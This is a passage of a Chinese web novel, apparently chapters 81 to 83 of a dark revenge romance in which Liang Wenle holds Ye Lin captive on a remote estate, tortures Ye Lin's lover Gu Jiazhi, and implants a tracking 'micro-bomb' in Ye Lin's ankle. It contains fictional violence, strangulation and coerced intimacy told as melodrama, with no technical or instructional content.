叶临双手被拷,跟在梁文乐身后走进庄园里。 有黄棕色的斑点小鹿在草坪上奔跑,近处的树干上有松鼠捧着坚果好奇地探望,隐约听见狗叫声。 不远处就有条潺潺的流水,周围开满了五彩斑斓的野花,背靠着高大的雪山。 这个庄园的面积完全碾压顾柘的海岛别墅,像是一个童话小世界,里面有各种动物,以及罕见的植物。 到了别墅门口,旁边还有茂盛的浆果丛,像是五颜六色的宝石藏在绿叶里,在阳光下闪烁着光芒。 除此之外,还有很多高大的守卫在巡逻。 想出去,是件难事。 叶临叹息一声,忽然看到浑身是伤的顾嘉致被两个人架上来。 顾嘉致满脸都是伤痕,只有一双眼睛是干净的。已经很虚弱了,还要被两个高大男子架在强行走到别墅门口,脸色更为惨白。 梁文乐轻蔑地瞥向顾嘉致:“蠢货!” 顾嘉致睁开眼,扫过叶临,骂道:“梁文乐,你再怎么骂,都改变不了你好笑的事实。” 梁文乐冲上前朝着左脸颊挥了一拳,又揪住衣襟想继续打。 叶临连忙跑上去从后面靠近梁文乐,紧紧地贴着脊背:“文乐,你别打了,他会死的。” 顾嘉致张嘴就是满口的血:“你放了他,从前的事跟他没关系,都是我强迫的。” 三个人心知肚明,他说的是最初叶临跟梁文乐签订恋爱合约,而顾嘉致身为朋友却私下插足的事。 梁文乐松开衣襟:“想逞英雄是吧!把他关到地下室,不用医治,不用喂食,让他自生自灭。” 顾嘉致无惧生死,临走时还要笑起来放狠话:“梁文乐,你最好祈祷我会死,否则我肯定会让你比死还惨!” 叶临忙劝说:“别啊,你们好歹是从小一起长大的朋友,打一架就算了,没必要让他死!” 梁文乐听到他的话就恼火,转过身捏住叶临的下巴,咬牙骂道:“我把他当朋友,他把我当成什么,笑料?” 叶临沉默了,他以前跟顾嘉致说过梁文乐的坏话,嘲笑梁文乐愚蠢,哪里想到会有今天。 梁文乐按住他的嘴唇,手指用力碾压,直至变红:“你也不是什么好东西,跟他一样贱!放心,接下来的时间,你不会好过。” 叶临对上他那恶鬼一样的眼神,想到夜里的枪声,连忙说好话:“文乐,我知道错了,可以跟你道歉。你消消气,大人有大量,别跟我们这种人计较了。” 梁文乐用力捏住他的两颊:“道歉?” 叶临的两颊通红,口腔受到压迫,说话都含糊不清:“对,对不起,我当初不该骗你。你让我做什么都可以,求求你放了我们。” 梁文乐盯着他的脸看了一会儿,紧急松开手,看向别处:“你的道歉跟真心一样廉价,乞丐都不要。” 他朝着别墅里走去,又催促叶临跟上来。 叶临被他这样屈辱的对待,也有了脾气,站在原地不肯上前,小声咒骂。 梁文乐扭头去看叶临,发现这家伙脸上居然没了讨好的姿态,反而倔强得像头牛,势必要站在原地证明自己的决心。 真是好笑,居然还敢犟,难道还以为他会像以前那样宠溺吗? 梁文乐冲着他的脚边开枪:“想死吗?” 叶临被枪声吓到,连忙朝着他跑过去,咬着牙在心里骂了几百遍。 梁文乐看到他冲上来,故意抬脚去绊。 叶临跑太急,没注意脚下,果然被绊到,朝前倒去,着急叫,“文乐!” 梁文乐拦腰将他扶住,抱进怀里,凑到耳边骂:“蠢货,路都不会走!” 叶临的耳尖微红,恨不得踩死梁文乐这个贱货。可他害怕枪,又只能强行憋着,主动寻求庇护:“文,文乐,我太笨了,都不会走路,你抱我进去吧。” 梁文乐听到熟悉的谄媚话语,立即松开手,抬脚在某处踹了一脚。 叶临踉跄几步,差点摔倒,扶住门才能站稳。 还要往后摸疼痛的地方,忍不住小声骂道:“操,早晚剁了你!” 80-90 第81章 第81章“我对你早就没有爱了…… 房间里的摆设还是梁文乐的风格,随处可见精致繁复的花纹,墙面是栩栩如生的希腊浮雕,四周都有摆放雕像。 这些雕像看起来像是人,又像是神,但都得雕刻得很细腻,皮肤肌理感明显。 穿过长廊,就来到梁文乐的卧室,除开熟悉的华丽装饰,还有个半圆形的窗户。 站在窗,可以看到远处的巍峨雪山和蓝色湖水,以及低头喝水的马儿。 近处,绚烂的玫瑰肆意铺展,大都是以明艳的黄色和澄澈的白色为主色调,相互交织、彼此映衬。 香味随着风涌进来,浓烈得像是夏日的阳光。 令人意外的是,房间里居然没有可爱的玩偶,大都是些木雕,宝石制品,看起来成熟不少。 没有放弃种植玫瑰花,却放弃玩偶了? 叶临扭头去看旁边的梁文乐,主动走到他面前,伸出双手,低声请求:“文乐,你帮我解开吧,这个勒手,很疼。” 梁文乐正坐在沙发上享用热茶,听见他的话,低头去看。 手腕只有一圈浅红,哪里到疼的程度,分明就是借此撒娇。 果然是这段时间被那些男人宠爱惯了,一点苦都吃不了。 娇气。 梁文乐喝了茶,出声嘲讽:“你以为自己是来做客的吗,疼也得受着。” 叶临只好在他旁边坐下来,靠过去求饶:“文乐,你换种方式罚我吧。我讨厌冰冷的镣铐,还是喜欢你。” 梁文乐的肩膀刚接触他的脸颊,就像是过电般麻了,连忙将他推开:“滚远点!” 叶临难得热情,还被泼了冷水,咬牙暗骂。 很快传来关门的声音,是梁文乐离开了。 叶临跑去检查房门,发现是从外面锁上,里面打不开。 窗户是开着的,但是*距离地面少说有十米,从这里跳下去,可能会断腿。 而且外面有很多守卫,要是惊动了这些人,也不知道会面临什么。 梁文乐把他拐到这个地方,就是想让他失去自由,尝尝被报复的滋味吗? 刚刚被梁文乐推开的,叶临都不敢相信自己的眼睛。 在他印象中,梁文乐非常喜欢跟他黏在一起,像块狗屁膏药,怎么都去除不了。 现在倒好,他主动,梁文乐居然抗拒。 难道真是单纯的报复? 那,顾嘉致岂不是会被折磨死! 叶临着急拍门,喊着梁文乐的名字。 十多分钟后,门才被打开。 梁文乐的头发有些乱了,身上散发着冷意,像是刚去瀑布边吹了风。 他的神情冷漠,从高处注视着叶临:“又有什么事?” 叶临扑过去抓住梁文乐的手腕:“你别真把顾嘉致弄死了,会后悔终生的!” 梁文乐甩开他,拿出巾帕擦手:“关你什么事,少碰我,脏死了!” 叶临踉踉跄跄地跌倒地上,还好有柔软的地毯垫着,并没有疼。 但他被羞辱,心情糟糕,咬牙骂道:“我脏,那你之前跟我纠缠,就干净了?” 梁文乐将叶临拽起来:“你说什么!” 叶临看他软硬都不吃,干脆实话实说:“本来就是,被我这样的人欺骗,心里不好受吧。可是,为什么我能骗到你,还不是因为你蠢!” 梁文乐看见他眼底的嘲弄,明明被束缚着却有了上位者的姿态,气得掐住他:“叶临!” 叶临看他狗急跳墙,只想笑:“所有人都知道我在骗你,因为没有人会喜欢你这种垃圾!” 梁文乐手上继续用力,将他的脸色逼得青紫,恨不得捏断。 叶临快要窒息,但他还是要放狠话:“有本事就杀了我,继续啊!” 梁文乐有瞬间真想让面前的人变成尸体,可他还舍不得,连忙松开手。 叶临的脖颈留下一圈青紫的痕迹,开始剧烈咳嗽,整张脸都红了:“你喜欢我,所以不舍得我死。” 梁文乐怒喝:“没有,我怎么可能还喜欢你这种烂人!” 叶临笑起来,像是在看个自欺欺人的蠢蛋:“那为什么来找我,为什么不杀了我,你不觉得你很好笑吗?” 对啊,为什么听说叶临来到这附近,就开始焦躁不安,无法专心学习艺术? 为什么查到顾嘉致联系机场带叶临走,就要连夜带人去码头拦截? 为什么,出国之前就已经下定决定,要忘记这个三心二意的烂人,还是会偶尔想起他们的曾经。 爱情电影是假的,但很美好。 叶临虚情假意,但他就是深爱过。 梁文乐面上平静如水,实则已经山崩地裂。 片刻后,他将叶临拽起来,丢进旁边的小房间里。 “我对你早就没有爱了,只想报复你!” 叶临还没反应过来,门就锁上,陷入无止境的黑暗。 这个小房间没有窗户,更没有任何家具,狭窄黑暗,隔音很好,察觉不到时间的流逝。 他伸出手凑到眼前都看不见,是极致的黑,犹如混沌之初。 还好有地毯,坐着并不冷,否则会被冻死。 梁文乐为了证明自己的决心,居然把他丢进这个鬼地方。 等他挣开束缚,肯定会想办法打断梁文乐的手脚。 叶临骂了好几句,怕待会儿口渴,还是住嘴,躺下来休息。 还能怎么办,总不能把自己耗死了。 先睡觉维持体力,再跟梁文乐斗。 叶临闭上眼睛,想了很多乱七八糟的事,最后还是靠着数数才能入睡。 地下室里光线昏暗,空气中弥漫着陈旧的气息。 仅有的一盏灯,摇曳不定,在墙壁上投下鬼影幢幢。 顾嘉致被束缚在一根铁凳上,脸上的血痕已经凝固,呈现出黑红色,像是蜈蚣爬满了脸。 哒,哒,哒。 有人正走下来,像是午夜的钟声。 顾嘉致抬眼去看,果然是梁文乐,不由得朝他吐口水。 可惜距离太远,只吐到脚边,溅起些许灰尘。 梁文乐正用相机拍摄:“真狼狈啊,像个死刑犯。” 顾嘉致被闪光灯刺到眼睛,连忙偏头。 梁文乐按住他的头用力往下压,低声道:“刚刚叶临为了你,主动讨好我,你知道他做了什么吗?” 顾嘉致的脖子快断了,情绪激动地挣扎,晃动手上的绳索:“你对他做了什么!” 梁文乐轻声笑,将他所有恶劣想法都说出来,着重地描绘叶临心甘情愿地受辱的全过程。 好比一对恩爱的情侣,相约私奔,结果被恶人擒获。妻子为了丈夫能活,只能被迫做些痛苦的事情。 梁文乐还把镜头递给顾嘉致看:上面是叶临躺在地毯,蜷缩着身体,脖颈有圈明显痕迹,能够辨别出来被欺负了。 顾嘉致已经能想象到叶临哭着求饶,哪怕心里不愿,也要为了自己而区服。 这瞬间,他像只绝望的狮子,大声怒吼:“梁文乐,你放了他,有什么冲我来!” 梁文乐连忙往后退,神情得意:“他自愿的,这都是为了救你啊。哎呀,谁让他交了你这个无能的废物男友。” 顾嘉致想到从前的种种,当时他没有梁文乐富裕,就连梵星初始资金都拿不出来。后面更是斗不过顾柘,连私奔这种事都需要谋划好几个月。 梁文乐:“说实话,我老早就知道你们过来了,但顾柘有意隐瞒叶临的行踪,我一直查不到。 直到前不久你联系这里的机场,我才有机会。叶临沦落到这个地步,全都怨你啊。 有句话说的好,双胞胎其中一个是天才,另外一个就是蠢货,你们就是最好的诠释。” 顾嘉致想到出逃那天晚上,叶临坐船的时候就惴之不安,劝他回去。 可他就是不听,对出逃计划充满自信,以至于被梁文乐拦截。 如果,他听了叶临的话,今天的事情就不会发生。 又或者,他心甘情愿地跟顾柘合作。 说来说去,还是他无能,就连梁文乐都比不上。 强烈的挫败感像是地震,让自信的高楼在顷刻间坍塌,变成废墟。 顾嘉致的气焰弱下来,诚恳道:“你杀了我吧,放过叶临,他是无辜的。” 梁文乐就是想看到顾嘉致露出失败者姿态,还故意提议:“如果我是你,早就自行了断,省得成为叶临的累赘。” 顾嘉致垂下头,沉默了。 梁文乐满意地离去,步伐难得轻快,恨不得弹奏一曲《a小调圆舞曲》以示庆祝。 他就是要诛心,一次又一次打击顾嘉致,直至顾嘉致认为自己是废物,完全丧失自信才会罢休。 回到卧室后,已经天黑了。凉风吹进来,还有丰富的水汽。 叶临一天都没吃饭,会饿吧。 梁文乐走到小房间的门口,犹豫许久,还是打开。 叶临还在沉睡睡,像是回到羊水里,缺乏安全感。 梁文乐将他抱起来,放到沙发上,又叫人送来食物。 睡得太熟了,哪怕换地方也没有察觉,还会抓住旁边的枕头。 直到闻见食物的香味,才悠悠转醒。 叶临睁开眼,看见旁边的梁文乐,没有说话,先坐到食物面前,拿起刀叉吃饭。 确实饿了,哪怕面前不是他爱吃的口味,只要是热的,就能接受。 梁文乐看他狼吞虎咽,翻了个白眼:“像猪一样,丑死了!” 叶临听到也不搭理,专心干饭。 他的双手被拷住,吃饭不方便,速度很慢,好一会儿才吃饱饭。 夜更深了,有人收走食物残渣,打扫房间。 “你不是说要报复我,怎么不把我关到死呢?” “你死了,我还怎么报复。” 无果的对话,两个人都在置气,互相说不通,是死结。 梁文乐进入浴室沐浴,准备休息。 叶临吃饱饭,理所当然地把这张大床占为己有,睡在正中间,还把灯关了。 等到梁文乐穿着浴袍走出来,就看到他呼呼大睡。 无法理解世界上怎么会有叶临这种厚颜无耻的人。 要是在全球举办厚脸皮大赛,叶临应该会拔得头筹,碾压所有人。 梁文乐用力推开他,怒骂:“滚开!” 叶临受到巨大的力度,滚到边缘,差点摔下去,大声叫起来:“你干嘛!” 梁文乐将他睡过的枕头扔到地上:“你睡地上,敢爬。床,我就剁掉你的手脚。” 叶临骂了一句“小气鬼”,抱着枕头躺沙发上,偷偷去看他。 梁文乐喜欢平整的床单,此刻也没有让人来整理,迅速关灯躺下来。 花香沐浴露都遮不住叶临身上的气息,居然还残留在周围,像是无形的牢笼。 梁文乐以为自己会嫌弃,可是很快就睡过去。 黑夜里,有冷风涌进来,潮湿的水汽加重了寒意,沙发上没有被子。 叶临冷得发抖,怀疑自己要感冒了。 他起身,借着月色查看梁文乐的情况,发现这个人睡得很熟,于是悄悄地走过去。 该死的梁文乐,连床被子都不舍得给他,真抠门! 人总不能为了尊严,让自己冻到,生病难受吧。 叶临轻轻地掀开被子一角,小心翼翼地躺进去,再盖好被子。 这张床太大了,可以容纳四五个人。 他占了边缘的位置,跟梁文乐都还有一段距离,不会被发现。 被窝里很暖和,像是冬天里的炭火,催人犯困。 月亮慢慢地偏斜,透过窗户,洒在洁白柔软的被子上,以及紧紧相靠的他们。 梁文乐做了个美好的梦,到处盛开鲜花,他穿着洁白的西装走进教堂里。 教堂里的管风琴在演奏神圣的音乐,众人手里都拿着手捧花,脸上洋溢着喜悦。 神父给予他最好的祝福,希望他能够跟喜欢的人白头偕老。 他感觉到旁边有人,扭过头去看,结果却是同样穿着白西装的叶临。 到这里,梦境瞬间破碎。 梁文乐睁开眼,感觉怀里有东西,低头去看,是熟睡的叶临。 叶临的头发凌乱,睫毛很长,睡的位置较低,几乎埋进被子里,鼻子和脸颊都被闷红了。 他身上还有种独特的香味,像是烟雾缭绕,麻痹人的神经。 梁文乐有时候怀疑,这家伙不是人类,而是神话里让人堕落的恶魔。 要不然,怎么能让他一次又一次地反悔。 而且,明明是在沙发上睡,怎么跑到他的怀里,故意的吧! 梁文乐想用力推开叶临,却听到他在呓语,于是凑近去听。 其实听不清,但耳朵却痒起来,还发烫。 与此同时,心脏跳动的频率变快,像是有只小鹿住进来,不断地乱撞。 叶临这种混蛋,就应该去死! 梁文乐在心里骂,又将叶临搂紧,埋首去嗅他思念已久的气息。 第82章 第82章“疯子!” 叶临在睡梦中像是遇到了柔软的云朵,散发着温适的气味,情不自禁地往里钻。 他喜欢这种感觉,就像是回到乡下老家,躺在草坪上晒太阳,身上暖融融的,耳边还能听见哗啦的流水。 偶尔风吹过来,就会有许多蒲公英飘到空中,稻田掀起大片涟漪。 等到他自然醒过来,就发现自己躺在沙发上,而房间里没有人。 梁文乐应该是先于他醒过来,又把他抱到沙发上。 怎么不把他踢醒呢?果然是不舍得吧。 叶临仔细回忆梦里的情景,感觉梁文乐应该偷偷地抱了很久,才舍得把他放在沙发上。 不仅装,嘴还硬。 但是这样至少说明,梁文乐心里有他,这就好说。 叶临走进卫生间,发现有两套洗漱用品,而且还是熟悉的牌子。 他以前跟梁文乐同居的时候,察觉周围的所有东西都很贵,会一样一样地查价格,算算自己能从梁文乐这里捞到多少钱。 卫生间里的物品都查过,其中价值过万的电动牙刷让他印象深刻。 他以前从来没有想过,牙刷这么小的东西会卖到万元。 现在再次看到相同牌子的电动牙刷,还是会感慨。 他拿起未拆封的那个用,对着镜子刷牙,看见满嘴的泡沫,又想到一件事: 梁文乐为什么要买相同牌子的牙刷,是为了纪念以前的时光,还是单纯地喜欢这个牌子? 叶临想了一会儿才洗漱完成,回到卧室就去观察门。 出奇的是,今天的门没关,可以推开看到外面的走廊。 走廊上空无一人,两边都是精裱起来的油画。地毯的颜色又跟房间里不同,是金红相间的花纹,看起来富丽典雅。 他透过走廊的窗户观察外面,发现庭院里有很多花匠,以及高大强装的保镖,顿时不敢出门,只能继续往下走。 到了一楼,还是没有看见梁文乐的身影,倒是撞见几个深肤色的女佣。 这些女佣都在专注地做自己的事情,没有管叶临,好像接到的命令里不包括监督叶临。 叶临在一楼转了一会儿,总算在角落里找到地下室的入口,悄悄地溜进去。 通往地下室的阶梯很长,弯弯绕绕,很难行走。 叶临走了好一会儿,才到达底部,结果眼前还有个高大的铁门拦着。 铁门用大锁拴上,只能用电钻那种大型器械才能解开,他根本拿不到。 对面是墙壁,但是侧面有条路,应该是通往关押顾嘉致的密室。 也不知道顾嘉致能不能听到? 叶临朝着铁门里扔出一个石头,紧接着就叫了顾嘉致的名字。 原本陷入昏迷的顾嘉致听到熟悉的声音,总算睁开眼,看向道路的尽头。 好在这条道路并不遥远,传音很快,站在铁门说话,双方都能够听见。 “你还好吗?” “我没事,你怎么跑到地下室了?” “我趁梁文乐偷偷跑下来的,他有给你饭吃,给你医治吗?” “有,你快回去吧,免得被发现。” 顾嘉致的嘴唇干裂,已经饿到没有知觉,久坐睡不好,还让他浑身的肌肉酸痛。 哪怕是这样,他都不能跟叶临诉苦。 要让叶临认为他没事,才不会被梁文乐威胁。 叶临还是敏锐地发现了顾嘉致的身体情况糟糕,说话无力,气息奄奄,是强装的没事。 他掰动大门的锁,想找到撬锁的位置。 “少骗我,听声音就知道你虚,还装没事。等着,我想办法救你出来。” 顾嘉致很虚弱,就像是溺水的人,强行被人拉出去呼吸新鲜空气。 他听着叶临的话,已经能够想象到这家伙着急研究锁芯的神情。 至少,叶临心里有他。 大概过了一会儿,就听到门锁打开的声音,紧接着是急促的脚步声。 还好大门的锁是旧式,可以用铁丝解开。 叶临一打开就往里跑,想把顾嘉致救出来。 可是刚跑了两步,就感觉到有人揪住他的衣服后领,轻轻松松地将他拎起来。 手上的镣铐还没解开,垂放在正前方,现在只能用脚反抗,犹如蚍蜉撼树,毫无希望。 梁文乐将他手里的铁丝夺过来,微微眯起眼睛,用一种玩味的表情看他:“花样倒是多。” 叶临怒骂:“你个脑残,放开我!” 顾嘉致听到他们的声音,剧烈挣扎,致使身上的铁索发出持续不断的声响,在地下室里回荡,像是野兽濒死前的无能狂怒。 “梁文乐,你放开他!” “有什么事冲我来,你别伤他!” 话音刚落,叶临就被丢在他脚边。头发乱糟糟的,脸颊沾染灰尘,在石质地面刮蹭到,还有血迹。 顾嘉致注意到叶临的手腕已经被磨破皮出血,而且脸上也有伤,恨不得将梁文乐大卸八块。 他哪里舍得这样对叶临,这是他捧在心尖上的人,平时连句重话都不敢说。 可是此刻他所珍爱的人,却被当成垃圾般折磨。 比起身体上的痛楚,心上的千疮百孔才是无法愈合。 顾嘉致目欲眦裂,浑身充血,奋力地想站起来,铁椅都开始颤抖,快要被他强行移开。 可惜他不是玄幻世界里的人,不会在濒死时爆发潜能,更不可能超越极限。 力气顷刻间就耗尽,重重地跌回去,吐了很多血,沿着破旧的衣服流下来。 叶临看到地上的血,吓得浑身发凉,抬头去看:“顾嘉致!” 顾嘉致垂下头,昔日精心打理的头发沾了血和灰尘,潦草得像是稻草,嘴角还不断地有血在滴落。 他嗤笑一声,轻声道:“别为了我向梁文乐屈服,你心里有我,此生无憾了。” 叶临的脸颊湿润,是顾嘉致流下来的血泪,像临死前的遗言。 他忙站起来,看向对面的梁文乐:“别折磨他了,会死的!” 梁文乐的眼神冷漠,像是在看某种待宰的牲畜,而不是活生生的人:“这种背叛朋友的混蛋,死了也是活该。” 叶临忍无可忍,冲上前撞梁文乐:“你个冷血无情的疯子,我杀了你!” 梁文乐被他逼得后退几步,腹部传来剧痛,赶紧抬手按住,勒住叶临的脖子,咬牙骂道:“你和他的性命都在我手里,怎么杀我!” 叶临还在蹬腿,拼命挣扎,他恨透了梁文乐,势必要跟他决一死战。 梁文乐却拿出一把刀,比着他的脸颊:“叶临,大不了大家一起死。反正,我就是不想让你们好过。” 顾嘉致还在咳血,抬眼注意到刀泛出的银光,急道:“你别动他!” 他的声音沙哑,嘴里还有血,含糊不清。 叶临的脸颊感觉到刀锋的冷意,非常锋利,只要他稍微偏头,脸上就会划下一道血口子。 梁文乐之前在游艇帮他出头,差点把人活生生踩死,就是个神经病。 他和顾嘉致都要好好地活着,不能被神经病害死。 叶临思来想去,还是选择暂时妥协:“够了,只要你肯放过顾嘉致,我什么都愿意做。” 梁文乐收回刀,脸上多了戏谑的笑,凑到他耳边低声说道:“那你现在帮我” 顾嘉致就在对面,梁文乐故意提出这个要求,就是要折磨他们,满足自己的报复心理。 叶临听完羞愤难堪,纠结了一会儿,还是跪下来。 人命大于天,至少这样能保全顾嘉致。 梁文乐摸摸叶临的头发:“顾嘉致,你看他为了你,什么都愿意做。我要是像你这样废物无能,早就去死了,哪里还有脸活着。” 顾嘉致已经被泪水糊成血人,心如绞痛:“叶临,别这样,我死了也无所谓的。” 叶临还没开始行动,听到他的话,转过脸去看,语气反而平静:“你活着最重要。” 他们目光对视,有强烈的情感悄然产生,犹如春风过境,要清扫所有寒冷死气,带来草长莺飞,繁花似锦。 梁文乐瞬间没了兴致,前一秒还是优越得意,这一刻就是个败家犬,输得彻底。 他将叶临从地上抓起来,胸膛剧烈起伏,想说很多话,却堵在酸疼的心口,一句都说不出来。 很快就有医护人员走进来,将顾嘉致解开束缚,抬上担架。 顾嘉致躺在担架上,还在咳血。 他此刻多想自我了断,这样就不会拖累叶临。可是人都有求生欲,而且他的性格也不极端,再怎么绝望,都很难下得去手。 叶临想跑过去看顾嘉致,却被梁文乐搂紧,只能大喊:“顾嘉致,你要好好的。那天我说的都是实话,等我们回去就” 梁文乐捂住他的嘴,强行打断,脸色阴沉地凑到耳边警告:“你永远都别想见到他。” 别墅里就有医护室,紧急处理再送去医院,没有性命之忧。只是梁文乐特意派人守着,不会再让顾嘉致有机会纠缠叶临。 叶临被带到卧室,手铐已经解开,有专人帮他处理伤口。 梁文乐坐在旁边等着,只要他不配合,就会搬出顾嘉致这座大山,逼迫他就范。 都是皮外轻伤,涂抹药膏再包扎,十几分钟就能完成。 女佣端来热水和食物放在床头柜上,急匆匆地退下去,并关上门。 房间里有暖气,此刻却像极地冰川,空气都凝结,双方沉默不语。 还是梁文乐率先开口:“喝水。” 叶临拿起旁边的水杯,朝着梁文乐的脸砸去,骂道:“去死!” 滚烫的热水泼到脸上,瞬间就烧红一片。 梁文乐面不改色抓住他的手腕,强行拽过来吻。 叶临用力拍他,还想抬脚去踹,却被强行制住,脸颊都憋红了,呼吸不畅。 紧接着嘴唇传来疼意,有鲜血溢出来。 梁文乐没打算放过他,像是野兽在撕咬,疼意和恨意交织,彼此都痛苦。 过了很久,叶临才找到机会,挥手扇了他一巴掌。 “疯子!” 脸颊本来就被烫了,现在被用力扇,很快就肿起来。 梁文乐最为疼惜自己的脸,换成以前早就急了,此刻却格外冷静。 “我为什么会疯,都是你逼的!” “顾嘉致死不足惜,你更是卑鄙无耻!” 梁文乐呼吸急促,情绪激动,像个被辜负的深情者,大声控诉。 明明最开始是他跟叶临恩爱有加,沈邵那个贱人捣乱婚礼就算了,最好的朋友顾嘉致也背叛他,怎么能忍! 本来还想在地下室羞辱折磨叶临和顾嘉致,结果他们居然当着他的面上演苦情戏。 又是矢志不渝,又是海誓山盟,恨不得将天地都当成幕布,要所有人为他们的爱情感动。 一个是他的恋人,一个是他的朋友,怎么能用这种残忍的方式伤害他? 梁文乐的眼眶里已经有泪水在打转,但是没有流下来。在国外这段时间,他不断地告诉自己要坚强,下次在叶临面前绝对不能流泪。 叶临忽略他的悲痛情绪,嗤笑一声:“那不都是你活该。老天爷看你这种混蛋过得顺风顺水,就派我来惩治你。我多么善良伟大,还在你这个畜牲身上浪费时间。” 他的话语里毫无悔改之意,反而觉得自己背叛梁文乐是做了件正直的好事,更加能彰显自己的高尚品德。 梁文乐这个受害者变成了十恶不赦的罪人,而他和顾嘉致成了正义的审判者。 怎么能如此颠倒黑白? 做了坏事,根本不内耗,完全不会因为别人的指责和谩骂而反省。 梁文乐想杀了这个不知廉耻的混蛋,可是无法想象没有叶临的生活。 叶临再坏再无耻,他都放不下,就注定要吃尽苦头。 梁文乐:“你脸皮真厚,还自诩正义。” 叶临:“本来就是,我最多就是欺骗你的感情,伤了你的心,这有什么大不了的。 倒是你,不把人命当回事,随心所欲地折磨人,简直就是社会的蛀虫,该死的人渣败类。” 叶临自知不是什么好人,但他绝对是比梁文乐这种傲慢的冷血神经病要好。 他能伤到梁文乐,就是在做好事,应该受到赞扬,而不是批评。 房间安静下来,空气中弥漫着冷意。 有什么华丽美好的东西在腐烂发臭,流了一地的脓水,恶心作呕。 过了很久,梁文乐忽然笑起来。他逆着光,看不清神情,只能感觉到病态的视线。 “叶临,我们已经结婚了。明天就去度蜜月,先去保加利亚的玫瑰谷吧。” “不许拒绝,顾嘉致会死哦。” 第83章 第83章“小宝宝要乖乖的” 梁文乐的话听起来像是呓语,神志不清,自顾自地构造属于自己的幻想世界。 叶临都快习惯他自欺欺人,愤怒之余又感到无奈:“你先把顾嘉致送走,我再跟你去度蜜月。” 对于他来说,现在最紧要的,还是把顾嘉致送出去,后面再想办法对付梁文乐。省得梁文乐用顾嘉致威胁他做不喜欢的事情。 梁文乐沉默片刻,脸上的笑容逐渐消失,压着眉眼,盯着叶临的眼睛,嘲弄他的天真愚笨:“你觉得,我会放弃顾嘉致这个把柄吗?现在是你有求于我,考虑清楚自己的立场。” 叶临对上他的眼睛,就像是重现那天夜晚的海面,暗沉冰冷。 早就不是曾经那样好说话,只能暂时妥协:“行吧,但顾嘉致是无辜的,你不要伤害他。” 梁文乐把手机递给他,上面就是顾嘉致病房的实时监控。 病房里有好几个大型机器在运转,屏幕里都是看不懂的复杂数据。 不过好在,这回顾嘉致身上没有很多管子,脸色也恢复些许血色,身体应该是没有大问题。 就这样吧,现在只能先顺从梁文乐,再想别的办法。 顾柘发现他失踪了,应该会想办法找他,也有能力对抗梁文乐。 叶临没想到自己居然也会有指望顾柘的一天,心情变得复杂,犹如一锅清汤里同时放了所有的调料,酸甜苦辣都能尝到,味道很怪。 房间里开始回温,冰雪消融,出现哗啦的水声,但并不能达到万物复苏的程度。 门被打开,一群穿着白大褂的人走进来,手里提着银色小箱子。 小箱子打开,可以看到里面放置很多微型的机械,还有手术刀,缝合针,看起来是手术箱。 叶临忽然有了不好的预感,下意识地往后缩,询问旁边的梁文乐。 梁文乐没有回答,在跟几个医生说话,用的语言很怪,完全听不懂。 金发的医生用镊子夹住一个小黑点,看起来是金属质地,只有头发丝大小,极其迷你。 紧接着就有四个人走上前,按住叶临的四肢,牢牢地将他禁锢住。 叶临有种非常恐怖的预感,紧张兮兮地看向梁文乐:“你,你要做什么?” 梁文乐掀起他的裤脚,轻声道:“微型炸弹,只要你离开我超过100米就会爆炸。” 叶临想蹬腿,结果胳膊上被扎了一下,瞬间就失去了知觉,感应不到四肢的存在。 是麻药。 叶临的内心忽然拥有了从未有过的平静,像是来到了天堂,失去了反抗意志。 他的内心是恐惧的,可是半点力气都没有,只能眼睁睁地看着这些人做坏事。 梁文乐耐心地跟他讲解这个装置的使用原理,是为了束缚住他的行动。 距离梁文乐半径100米的圈是安全范围,只要超过这个范围就会开始灼烧脚踝的皮肤,以示警告,一分钟之内没有回到安全范围,就会发生大规模爆炸。 到时候别说脚,整只腿都会废掉,甚至会失血过多而休克。 这种手术格外精细,需要借助显微镜来完成,非常考验技术。 金发的医生明显是业界精英,很快就操作完成,表明的缝合痕迹微不可察。 微型炸弹是顶级的生物材料,可以完美地融入皮肤组织,不会有任何排异反应。 同样,也感觉不到任何痛感,像是从未发生过。 手术只持续了半个小时,这些人就迅速退下。 麻药的药效还没结束,叶临看着梁文乐无能为力,只能骂他。 梁文乐置若罔闻,将他抱进怀里,谈起他们的蜜月计划,活动比起之前在订婚宴上的更多,更复杂。 就像是在抱一个不会说话,没有自主意识的玩偶,只管自己开心就好。 这是最美好的状态,像是回到幸福的童年。 梁文乐亲了一下:“真好,你永远都离不开我了。” 叶临的意识开始回笼,试着动了动,只能抬起手指,咬牙骂道:“梁文乐,你个畜牲,不能这样对我!” 梁文乐捂住他的嘴,像是在教导坏小孩:“小宝宝要乖乖的,不能说脏话。” 叶临想借助牙齿的咬合力反击,可还是没有力气,只能勉强张嘴。 梁文乐拿出婴儿用的湿巾帮他擦拭脸上的灰尘,动作轻柔,就像小时候对待珍爱的玩偶,生怕弄坏了。 玩偶就是要干干净净的,哪里都不能沾染灰尘。 这样想着,梁文乐把他抱去浴室做精细的清洁工作。 温热的水,像是轻柔的丝绸。 而沐浴香氛居然是奶香味的,不甜腻,是调配得刚刚好的香味。 就像是在品尝一块奶油蛋糕,香软甜美。 梁文乐很喜欢这种香味,沐浴完还要再擦奶味的身体乳,保证持久留香。 叶临痛恨这种甜腻香味,感觉自己快要窒息而亡,试图反抗,也只是溅起细微水花。 洗完澡后,他就被柔软的浴巾包裹起来,放在特制的椅子上。 梁文乐拿着吹风机慢慢地为他吹干头发,还会用精油保养发根,戴上特制的头套滋养头发。 头套是奶白色,尾端还垂下长长的兔子耳朵,为叶临增添了不少的可爱气息。 除此之外,还要帮叶临换上粉色的连体睡衣,上面全是小熊图案,柔软舒适。 这样处理完后,叶临就变成了一个人形玩偶,散发着香味,抱在怀里也跟玩偶相差无几。 梁文乐已经很久没有买过玩偶,叶临是他这个房间里唯一的玩偶,可以陪伴他安稳入眠。 入夜后,残月在黑夜中高悬,稀薄的月光撒下来,在花瓣边缘凝成霜。 夜风渐起,玫瑰花海掀起涟漪,像是在水中。 隐约听见鸟*儿的鸣叫,已经已经很晚了。 药效终于消失,全身都恢复力气。 叶临看向旁边熟睡梁文乐,立即扇了一巴掌,掐住他的脖子,怒吼:“你给我去死!” 梁文乐猛然被惊醒,看见叶临摆出要杀了自己的架势,并不畏惧,只是温柔地劝道:“宝宝别胡闹了,快睡觉吧。” 叶临把他的脖颈掐出红痕,咬牙骂道:“艹你大爷的,把那个微型炸弹取出来,不然我杀了你!” 梁文乐因为窒息而脸色泛红,呼吸不畅,仍旧面带微笑:“你最好杀了我,这样我就不会再想着你。” 叶临怒骂一声,就要下死劲,让这个混蛋从世上彻底消失。 梁文乐快要晕过去,但他脸上没有丝毫的痛苦,反而是极致的愉悦。 